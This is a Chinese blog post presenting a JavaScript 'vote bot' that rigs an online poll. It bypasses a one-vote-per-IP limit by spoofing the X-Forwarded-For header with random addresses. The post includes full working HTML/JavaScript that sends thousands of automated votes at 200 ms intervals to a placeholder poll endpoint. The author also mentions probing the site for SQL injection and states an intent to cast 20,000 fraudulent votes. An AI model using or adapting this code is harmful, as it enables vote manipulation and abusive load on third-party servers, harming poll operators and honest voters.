js投票器

帮忙网络投票,粗看下,仅有一个ip校验:每天每个ip仅能投票一次。

解决办法1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");

从网上随便搜了段代码,是网络投票的,稍加改了改,增加伪造ip方法

function r(min,max){
    return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
	return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}

 上干货,fuck goods

<script>
function CreateXMLHttp2(){
var xmlhttp=null;  if (window.XMLHttpRequest) {  xmlhttp = new XMLHttpRequest();  }  if (!xmlhttp&&window.ActiveXObject)  {      try      {          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")      }      catch(e)      {          try          {              xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")          }          catch(e)          {              try              {                  new ActiveXObject("Msxml2.XMLHTTP")              }              catch(e)              {                  try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}              }          }      }  }  if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
}

var g_i=0;
var timer;
function $(obj){
	return document.getElementById(obj);
}

function onSearch(){
	var g_xmlhttp=CreateXMLHttp2();

	if (!g_xmlhttp){
		alert("你的浏览器不支持ajax");
		return;
	}
	var idVal = $("id").value;
	var sendData="id="+idVal;
	var fakeIP=getRandomIp();
	
	var total = $("total").value;
	var intervalTime = $("intervalTime").value;
	var timeRemain = (total-g_i)*intervalTime/1000;
	$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒"  + "</br>当前伪造IP:" + fakeIP+"</br>";
	//alert(fakeIP);return ;
	try{
	g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
	g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
	g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	//伪造ip的属性
	g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
	g_xmlhttp.onreadystatechange=function(){
		if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
			if(++g_i<total){
				timer = setTimeout("onSearch()",intervalTime);
			}
			if(g_i >= total){
				alert("本次投票完成");
			}
		}
	}
	g_xmlhttp.send(sendData);
	}catch(e){
		
	}
}

function r(min,max){
    return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
	return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
	clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
	<div>
		<br />

		<input id="ip" type="hidden" value="124.22.11." />
		<br />
		投票间隔(单位毫秒):
		<input id="intervalTime" type="text" value="200" />
		<br />
		投票总数:
		<input id="total" type="text" value="10000" />
		</br>
		投票ID:
		<input id="id" type="text" value="77" />
		</br>
		<input id="search" type="button" οnclick="startInit();onSearch();"
			value="开始" />
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input id="search" type="button" οnclick="stopSearch();" value="停止" />
		<br />
		<br />
		<span id="res"></span>
		<br />
		<br />
	</div>
</form>

 

不能投票太快,投票要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。

算了,不管了,先投2W票再说

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值